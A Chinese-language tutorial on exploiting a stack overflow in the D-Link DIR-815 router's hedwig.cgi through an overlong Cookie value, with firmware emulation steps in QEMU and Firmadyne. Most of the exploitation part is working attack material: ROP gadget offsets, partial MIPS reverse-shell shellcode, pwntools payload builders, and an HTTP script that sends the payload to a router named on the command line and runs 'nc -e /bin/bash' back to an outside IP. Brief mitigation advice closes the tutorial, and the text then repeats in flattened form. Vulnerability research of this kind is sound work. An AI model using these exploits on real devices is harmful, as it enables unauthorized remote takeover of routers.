DIR815缓冲区溢出漏洞再分析
字数 1729 2025-08-22 12:22:48

DIR815缓冲区溢出漏洞分析与利用教学文档

漏洞概述

DIR815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值来触发该漏洞,导致程序栈溢出,从而获得路由器的远程控制权限。

漏洞关键点

  • 漏洞组件:hedwig.cgi(实际指向./htdocs/cgibin
  • 触发条件:HTTP_COOKIE中"uid="后的值过长
  • 漏洞函数:hedwigcgi_main()中的sprintf函数
  • 影响版本:DIR815_FIRMWARE_1.01

环境准备

调试环境

  • Ubuntu 16.04 x64/x32
  • IDA 6.8/7.0
  • QEMU 2.5
  • Ghidra

固件获取与解压

ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
binwalk -Me DIR-815_FIRMWARE_1.01.ZIP

漏洞定位与分析

漏洞定位步骤

  1. 查找CGI文件:find . -name '*cgi'
  2. 确认符号链接:ls -l ./htdocs/web/hedwig.cgi
  3. 使用IDA/Ghidra搜索"HTTP_COOKIE"字符串
  4. 找到sess_get_uid函数并交叉引用到hedwigcgi_main

漏洞代码分析

hedwigcgi_main函数通过sess_get_uid()获取HTTP_COOKIE中"uid="后的值,并使用sprintf将其拷贝到栈中,未进行长度检查导致栈溢出。

关键点:

  • 有两个sprintf可能导致溢出
  • 第一个sprintf是主要漏洞点
  • 需要创建/var/tmp目录才能到达第二个sprintf
  • POST数据需包含"uid=……"才能完整执行流程

动态调试

QEMU用户模式调试

使用以下脚本进行调试:

#!/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu

确定偏移量

  1. 使用patternLocOffset.py生成测试字符串
  2. 调试确定ra寄存器值
  3. 计算缓冲区距离ra的距离
    • 第一个sprintf偏移:1043
    • 第二个sprintf偏移:1009

漏洞利用

利用方式一:system函数

  1. 定位system函数地址

    • libuClibc-0.9.30.1.so基地址:0x76738000
    • system函数偏移:0x53200
    • 真实地址:0x76738000+0x53200=0x7678b200
  2. 绕过0字节问题

    • 使用0x7678b1ff(system-1)
    • 通过gadget加1恢复
  3. ROP链构造

    • gadget1 (0x159cc): 将栈数据存入寄存器
    • gadget2 (0x45988): 寄存器值加1

利用方式二:sleep(1)函数

解决缓存一致性问题(cache incoherency),确保shellcode正确执行。

ROP链构造:

  1. gadget1 (0x57E50): 设置a0=1
  2. gadget2 (0x3B8A8): 控制函数返回
  3. gadget3 (0x14F28): 将栈地址存入寄存器
  4. gadget4 (0x1DD08): 跳转到shellcode

Shellcode构造

反弹shell的MIPS shellcode,需修改IP和端口:

shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
# ... 其他shellcode部分 ...

QEMU系统模式调试

环境配置

  1. 启动QEMU系统模式:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
  1. 配置HTTP服务:
  • 修改conf文件设置IP和端口
  • 准备动态链接库
  • 创建符号链接

调试技巧

  1. 关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 获取内存映射:
/htdocs/web/hedwig.cgi & cat /proc/pid/maps

Firmadyne仿真测试

测试步骤

  1. 安装配置Firmadyne
  2. 启动仿真环境
  3. 扫描开放端口(通常为53,80,49152)
  4. 使用构造的exp进行测试

实体机测试

刷写1.01版本固件后,使用相同exp验证漏洞。

完整EXP示例

system函数利用

#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"

base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.79.145 9999'

padding = 'A' * 973
padding += p32(base_addr + system_addr_1)  # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
# ... 其他寄存器填充 ...
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd

f = open("exploit", 'wb+')
f.write(padding)
f.close()

sleep(1)调用shellcode

#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"

# shellcode部分
shellcode = ""
shellcode += "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
# ... 完整shellcode ...

libc_base = 0x77f34000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08

payload = 'A' * 973
payload += 'A' * 4                        # s0
payload += p32(libc_base + gadget2)       # s1
payload += p32(libc_base + sleep)         # s2
# ... 其他寄存器填充 ...
payload += p32(libc_base + gadget1)       # ra
payload += 'B' * 0x24
payload += p32(libc_base + gadget3)       # $(sp+0x24)
payload += 'c' * 0x18
payload += shellcode

f = open("exploit2", 'wb+')
f.write(payload)
f.close()

HTTP报文利用

Python请求示例

#!/usr/bin/python
from pwn import *
import requests
import sys

def get_payload(offset, libc_base, cmd):
    # payload构造逻辑
    return payload

if __name__ == "__main__":
    cmd = "nc -e /bin/bash 192.168.79.145 9999"
    cookie = 'uid=' + get_payload(973, 0x77f34000, cmd)
    header = {
        'Cookie': cookie,
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '100'
    }
    data = {'uid': '1234'}
    ip_port = sys.argv[1]
    url = "http://" + ip_port + "/hedwig.cgi"
    r = requests.post(url=url, headers=header, data=data)
    print r.text

总结与防护

漏洞总结

  • 漏洞成因:未检查用户输入的HTTP_COOKIE长度
  • 利用方式:通过ROP链控制程序流
  • 影响范围:DIR815特定固件版本

防护建议

  1. 更新到最新固件版本
  2. 输入验证:检查HTTP_COOKIE长度
  3. 启用栈保护机制
  4. 禁用不必要的CGI脚本

学习要点

  • MIPS架构下的缓冲区溢出利用
  • QEMU多种调试模式的使用
  • ROP链在MIPS环境下的构造
  • 路由器固件分析的基本流程
DIR815缓冲区溢出漏洞分析与利用教学文档 漏洞概述 DIR815路由器存在一个缓冲区溢出漏洞,影响"hedwig.cgi" CGI脚本。未经认证的远程攻击者可以通过传递超长的Cookie值来触发该漏洞,导致程序栈溢出,从而获得路由器的远程控制权限。 漏洞关键点 漏洞组件: hedwig.cgi (实际指向 ./htdocs/cgibin ) 触发条件:HTTP_ COOKIE中"uid="后的值过长 漏洞函数: hedwigcgi_main() 中的 sprintf 函数 影响版本:DIR815_ FIRMWARE_ 1.01 环境准备 调试环境 Ubuntu 16.04 x64/x32 IDA 6.8/7.0 QEMU 2.5 Ghidra 固件获取与解压 漏洞定位与分析 漏洞定位步骤 查找CGI文件: find . -name '*cgi' 确认符号链接: ls -l ./htdocs/web/hedwig.cgi 使用IDA/Ghidra搜索"HTTP_ COOKIE"字符串 找到 sess_get_uid 函数并交叉引用到 hedwigcgi_main 漏洞代码分析 hedwigcgi_main 函数通过 sess_get_uid() 获取HTTP_ COOKIE中"uid="后的值,并使用 sprintf 将其拷贝到栈中,未进行长度检查导致栈溢出。 关键点: 有两个 sprintf 可能导致溢出 第一个 sprintf 是主要漏洞点 需要创建 /var/tmp 目录才能到达第二个 sprintf POST数据需包含"uid=……"才能完整执行流程 动态调试 QEMU用户模式调试 使用以下脚本进行调试: 确定偏移量 使用patternLocOffset.py生成测试字符串 调试确定ra寄存器值 计算缓冲区距离ra的距离 第一个 sprintf 偏移:1043 第二个 sprintf 偏移:1009 漏洞利用 利用方式一:system函数 定位system函数地址 libuClibc-0.9.30.1.so基地址:0x76738000 system函数偏移:0x53200 真实地址:0x76738000+0x53200=0x7678b200 绕过0字节问题 使用0x7678b1ff(system-1) 通过gadget加1恢复 ROP链构造 gadget1 (0x159cc): 将栈数据存入寄存器 gadget2 (0x45988): 寄存器值加1 利用方式二:sleep(1)函数 解决缓存一致性问题(cache incoherency),确保shellcode正确执行。 ROP链构造: gadget1 (0x57E50): 设置a0=1 gadget2 (0x3B8A8): 控制函数返回 gadget3 (0x14F28): 将栈地址存入寄存器 gadget4 (0x1DD08): 跳转到shellcode Shellcode构造 反弹shell的MIPS shellcode,需修改IP和端口: QEMU系统模式调试 环境配置 启动QEMU系统模式: 配置HTTP服务: 修改conf文件设置IP和端口 准备动态链接库 创建符号链接 调试技巧 关闭地址随机化: 获取内存映射: Firmadyne仿真测试 测试步骤 安装配置Firmadyne 启动仿真环境 扫描开放端口(通常为53,80,49152) 使用构造的exp进行测试 实体机测试 刷写1.01版本固件后,使用相同exp验证漏洞。 完整EXP示例 system函数利用 sleep(1)调用shellcode HTTP报文利用 Python请求示例 总结与防护 漏洞总结 漏洞成因:未检查用户输入的HTTP_ COOKIE长度 利用方式:通过ROP链控制程序流 影响范围:DIR815特定固件版本 防护建议 更新到最新固件版本 输入验证:检查HTTP_ COOKIE长度 启用栈保护机制 禁用不必要的CGI脚本 学习要点 MIPS架构下的缓冲区溢出利用 QEMU多种调试模式的使用 ROP链在MIPS环境下的构造 路由器固件分析的基本流程